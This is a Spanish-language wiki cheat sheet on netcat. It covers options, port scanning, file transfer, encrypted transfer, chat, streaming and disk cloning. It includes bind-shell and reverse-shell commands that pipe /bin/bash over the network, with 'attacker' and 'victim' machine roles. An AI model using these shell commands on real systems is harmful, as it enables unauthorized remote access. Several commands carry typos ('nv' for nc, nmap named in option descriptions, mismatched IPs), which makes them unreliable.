===== Netcat =====
**netcat** o **nc** es una utilitario para transmisión en redes de datos, especialmente todo lo que tenga que ver con TCP, UDP, o los sockets de UNIX.
Es capaz de establecer conexiones TCP, enviar paquetes UDP, estar a la escucha en puertos TCP y UDP arbitrarios, efectuar escaneo de puertos, y manejar IPv4 e IPv6
==== Opciones ====
^Opciones ^Descripción ^
|''-4'' |Fuerza a usar sólo IPv4 |
|''-6'' |Fuerza a usar sólo IPv6 |
|''-l'' |Escucha conexiones |
|''-v'' |Salida verbosa |
|''-n'' |Desactiva búsqueda de DNS en direcciones IP y hostnames |
|''-p'' |Especifica el puerto de origen |
|''-w'' |Indica el valor de timeout |
|''-u'' |Usa UDP en lugar de la TCP |
|''-k'' |Fuerza seguir escuchando después de desconectar |
|''-z'' |Instruye a nmap a escanear demonios en escucha |
|''-h'' |Muestra la ayuda de nmap |
|''-x'' |Usa nmap con un proxy |
====Uso====
La sintaxis básica de netcat es:
nc opciones host puerto
===Escanear puertos y atrapar bandera===
^Comando ^Descripción ^
|nc -zvn 192.168.59.1 |Escanea los puertos entre ''1'' y ''100''. |
|nc -zvn 192.168.59.1 |Escanea puerto ''80'', ''22'' y ''443''. |
|nc -zvn 192.168.59.1 80 |Sólo escanea puerto ''80'' |
|nc -zvn textp-plano.com 80 |Escanea puerto ''80'' en ''texto-plano.xyz'' |
|nc texto-plano.xyz/~fulana/bandera |Toma ''bandera'' |
===Abrir un shell remoto===
Podremos abrir una sesión de shell a mano. Para ello, suponiendo que la IP del servidor es ''192.168.58.3'',
^En la máquina de servicio: ^
|nc -nvlp 8888 -e /bin/bash |Ponemos un proceso de Bash en escucha en el puerto ''8888''|
^En la máquina cliente: ^
|nc -nv 192.168.59.3 8888 |Hacemos un proceso cliente que hable al servidor en ''192.168.59.3'' puerto ''8888''. |
===Abrir un shell inverso===
^Máquina atacante ^
|nc -nlvp 8888 |Escucha en puerto ''8888'' |
^Máquina víctima ^
|nc 192.168.59.3 8888 -v -e /bin/bash |Proceso de bash que emite en ''192.168.59.3'' ''8888'' |
===Bajar archivos===
Suponiendo que el emisor está en ''192.168.59.3'':
^En el emisor ^
|nc -lvp 8888 < datos.txt |Emite un flujo a partir de ''datos.txt'' por puerto ''8888'' a la LAN |
^En el receptor ^
|nv -nv 192.168.59.3 8888 > data.txt |recibe el flujo de ''192.168.59.3'' por puerto ''8888'' y lo almacena en ''datos.txt'' |
===Subir archivos===
Suponiendo que el receptor está en ''192.158.59.3'':
^En el receptor:^
|nv -lvp 8888 > datos.txt | |
^En el emisor:^
|nv 192.168.59.3 8888 < datos.txt | |
===Comprimir y transferir===
Para transferir directorios por la LAN, puede resultar muy útil comprimirlos al enviarlo, y descomprimirlos al recibirlo.
Suponiendo que el emisor está en ''192.168.59.54'':
^En el emisor: ^
|tar cfp - /respaldos | compress -c | nc 192.168.59.54 8888 | |
^En el receptor: ^
|nc -l -p 8888 | uncompress -c | tar xvfp - | |
===Encriptar y transferir===
Las transferencias de ficheros usando netcat por defecto no van encriptadas, y cualquiera en la LAN podría capturar los paqueets enviados, de manera que es muy útil encirptarlos antes de enviarlos.
Suponiendo que la máquina que envía es ''192.168.59.3''
^En la máquina emisora: ^
|nc -l -p 8888 | openssl enc -d -des3 -pass pass:contraseña > secreto.txt | |
^En la máquina receptora: ^
|openssl enc -des3 -pass pass:contraseña | nc 192.168.59.3 8888 | |
===Aplicación de chat===
Podremos practicar lo más sencillo que es generar una aplicación de chat sencilla, que permita usar un puerto (''8888'') para emitir paquetes de texto sin cifrado alguno. Suponiendo que el servidor esté en ''192.168.59.3''
^En el servidor: ^
|nv -lvp 8888 | |
^En el cliente: ^
|nv 192.168.59.3 8888 | |
===Video streaming===
Podremos hacer videostreaming, por ejemplo de una pantalla:
^En el servidor: ^
|cat video.avi | nc -nvlp 8888 |Emite el fichero ''video.avi'' por el puerto ''8888'' |
|nc 192.168.59.3 8888 | mplayer -vo x11 -cache 3000 - | |
===Clonar unidad de Linux===
Esta es una manera útil de clonar un sistema de archivos por la red LAN.
Asumiendo que la máquina que envia está en ''192.168.59.''
^En la máquina que envía: ^
|dd if=/dev/sbd | nc -l -p 8888 | |
^En la máquina que recibe: ^
|nc -n 192.168.59.3 8888 | dd of=/dev/sdb | |